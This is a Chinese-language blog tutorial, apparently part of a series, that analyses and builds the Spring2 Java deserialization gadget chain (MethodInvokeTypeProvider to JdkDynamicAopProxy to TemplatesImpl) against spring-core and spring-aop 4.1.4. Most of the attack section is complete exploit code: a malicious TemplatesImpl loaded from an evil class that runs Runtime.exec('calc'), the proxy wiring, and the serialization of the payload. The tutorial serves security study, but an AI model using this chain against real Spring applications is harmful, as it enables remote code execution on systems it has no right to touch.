JAVA反序列化深入学习(十三):Spring2

让我们回到Spring

Spring2 在 Spring1 的触发链上有所变换:

  • 替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler
  • 使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程

简而言之,换了一个chain,而kick-off和sink都没有变动

JAVA环境

java version "1.7.0_80"

Java(TM) SE Runtime Environment (build 1.7.0_80-b15)

Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)

依赖版本

  • spring-core 依赖版本:4.1.4.RELEASE
  • spring-aop 依赖版本:4.1.4.RELEASE
  • jdk 版本:1.7

检查依赖配置

确认项目中是否正确引入了

  • spring-core
  • spring-aop

的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<!-- https://mvnrepository.com/artifact/org.springframework/spring-aop -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>

资源下载

前置知识

JdkDynamicAopProxy - chain

org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了

  • AopProxy 接口
  • InvocationHandler接口
  • Serializable 接口
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {
    ...
}
invoke

我们来看一下 invoke 方法:

  1. 获取 AdvisedSupport 里的 TargetSource
  2. 调用 getTarget() 方法返回其中的对象
  3. 调用 AopUtils#invokeJoinpointUsingReflection() 方法反射调用对象的 method 方法并返回
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    MethodInvocation invocation;
    Object oldProxy = null;
    boolean setProxyContext = false;

    TargetSource targetSource = this.advised.targetSource;
    Class<?> targetClass = null;
    Object target = null;

    try {
        ...
        // May be null. Get as late as possible to minimize the time we "own" the target,
        // in case it comes from a pool.
        target = targetSource.getTarget();
        if (target != null) {
            targetClass = target.getClass();
        }

        // Get the interception chain for this method.
        List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

        // Check whether we have any advice. If we don't, we can fallback on direct
        // reflective invocation of the target, and avoid creating a MethodInvocation.
        if (chain.isEmpty()) {
            // We can skip creating a MethodInvocation: just invoke the target directly
            // Note that the final invoker must be an InvokerInterceptor so we know it does
            // nothing but a reflective operation on the target, and no hot swapping or fancy proxying.
            retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
        }
        else {
            // We need to create a method invocation...
            invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
            // Proceed to the joinpoint through the interceptor chain.
            retVal = invocation.proceed();
        }
        ...
    }
    return retVal;
  ...
}
AopUtils#invokeJoinpointUsingReflection

AopUtils#invokeJoinpointUsingReflection() 方法里就是简单的反射调用,核心步骤就是:

  1. ReflectionUtils.makeAccessible(method);将方法设为可用
  2. method.invoke(target, args);传参调用方法
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args)
        throws Throwable {

    // Use reflection to invoke the method.
    try {
        ReflectionUtils.makeAccessible(method);
        return method.invoke(target, args);
    }
    ...
}

由此可以看到 JdkDynamicAopProxy 这个 InvocationHandler 类能出色的完成 TemplatesImpl 的对象调用,可以直接配合 Spring1 中的触发调用链

攻击构造

与 Spring1 类似,如果忘记了Spring1的内容,建议先看一下之前这篇文章

JAVA反序列化深入学习(十一):Spring1

恶意代码主体

与Spring1几乎一致,不再赘述

public void Spring2() throws Exception {

    // 生成包含恶意类字节码的 TemplatesImpl 类
    TemplatesImpl tmpl = generateTemplatesImpl();

    // 使用 AnnotationInvocationHandler 动态代理
    Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = c.getDeclaredConstructors()[0];
    constructor.setAccessible(true);

    Type typeTemplateProxy = JdkDynamicAopProxy(constructor, tmpl);

    Object objects = TypeProvider(constructor, typeTemplateProxy);

    writeObjectToFile((Serializable)objects, fileName);
    readFileObject(fileName);
}

恶意TemplatesImpl构造

生成包含恶意类字节码的 TemplatesImpl 类,跟之前的都类似,不再赘述

protected TemplatesImpl generateTemplatesImpl()  throws IOException, NoSuchFieldException, IllegalAccessException {
    // 读取恶意类存到 bytes[] 数组中
    byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForSpring2.class"));

    // 初始化 TemplatesImpl 对象
    TemplatesImpl tmpl = new TemplatesImpl();
    Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(tmpl, new byte[][]{bytes});

    // _name 不能为空
    Field name = TemplatesImpl.class.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(tmpl, "neolock");

    return tmpl;
}

恶意类构造

跟之前的都类似,不再赘述

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;

public class EvilClassForSpring2 extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        // No implementation needed
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {
        // No implementation needed
    }
}

JdkDynamicAopProxy

与Spring1的ObjectFactoryDelegatingInvocationHandler类似,简单描述一下过程:

  1. 实例化 AdvisedSupport
  2. TargetSource 设置为 tmpl,使getTarget方法返回 TemplatesImpl
  3. JdkDynamicAopProxy 的 invoke 方法触发 TargetSourcegetTarget,并且会调用 method.invoke(getTarget的返回值,args)
    1. 此时返回值被在第2步我们使用动态代理改为了 TemplatesImpl
    2. 接下来需要 method 是 newTransformer(),就可以触发调用链了
  4. 使用动态代理出的 AdvisedSupport 类实例化 JdkDynamicAopProxy
    1. JdkDynamicAopProxy 本身就是个 InvocationHandler
      1. 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
    2. JdkDynamicAopProxy代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
      1. 代理类同时拥有两个类的方法
      2. 既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
protected Type JdkDynamicAopProxy(Constructor<?> constructor, TemplatesImpl tmpl) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {

    // 实例化 AdvisedSupport
    AdvisedSupport as = new AdvisedSupport();
    as.setTarget(tmpl);

    // JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl,并且会调用 method.invoke(返回值,args)
    // 此时返回值被我们使用动态代理改为了 TemplatesImpl,接下来需要 method 是 newTransformer(),就可以触发调用链了
    Class<?>       clazz          = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
    Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];
    aopConstructor.setAccessible(true);

    // 使用动态代理出的 AdvisedSupport 类实例化 JdkDynamicAopProxy
    InvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);

    // JdkDynamicAopProxy 本身就是个 InvocationHandler
    // 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
    // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
    // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
    Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
            new Class[]{Type.class, Templates.class}, aopProxy);
    return typeTemplateProxy;
}
与Spring1的差异

在Spring1,通过 AnnotationInvocationHandler 来将 getObject 的返回值设置为 TemplatesImpl

Map<String, Object> map = new HashMap<String, Object>();
    map.put("getObject", tmpl);

// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
        ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

而Spring2则是通过实例化AdvisedSupport,并直接将其TargetSource 设置为 tmpl,从而实现将 getTarget 的返回值设置为 TemplatesImpl

// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tmpl);

而其他部分的代码都类似,可见这里就是核心差异点

TypeProvider

与Spring1一致,没有变动,不再赘述

protected Object TypeProvider(Constructor<?> constructor, Type typeTemplateProxy) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException {
    // 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
    HashMap<String, Object> map = new HashMap<>();
    map.put("getType", typeTemplateProxy);

    InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

    Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
    // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
    Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
            new Class[]{typeProviderClass}, invocationHandler);


    // 初始化 MethodInvokeTypeProvider
    Class<?>       clazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    Constructor<?> cons   = clazz.getDeclaredConstructors()[0];
    cons.setAccessible(true);

    // 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
    // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
    Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    Field  field   = clazz.getDeclaredField("methodName");
    field.setAccessible(true);
    field.set(objects, "newTransformer");

    return objects;
}

总结

以上就是 Spring2 链分析的全部内容了,如果理解了 Spring1,那看 Spring2 就很简单了,最后总结一下

利用说明

使用 JdkDynamicAopProxy 替换 ObjectFactoryDelegatingInvocationHandler,并完成最终的调用链

Gadget 总结

  • kick-off gadget:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
  • chain gadget:org.springframework.aop.framework.JdkDynamicAopProxy#invoke

调用链展示

SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
    SerializableTypeWrapper.TypeProvider(Proxy).getType()
	    AnnotationInvocationHandler.invoke()
		    ReflectionUtils.invokeMethod()
			    Templates(Proxy).newTransformer()
				    JdkDynamicAopProxy.invoke()
					    AopUtils.invokeJoinpointUsingReflection()
						    TemplatesImpl.newTransformer()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Neolock

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值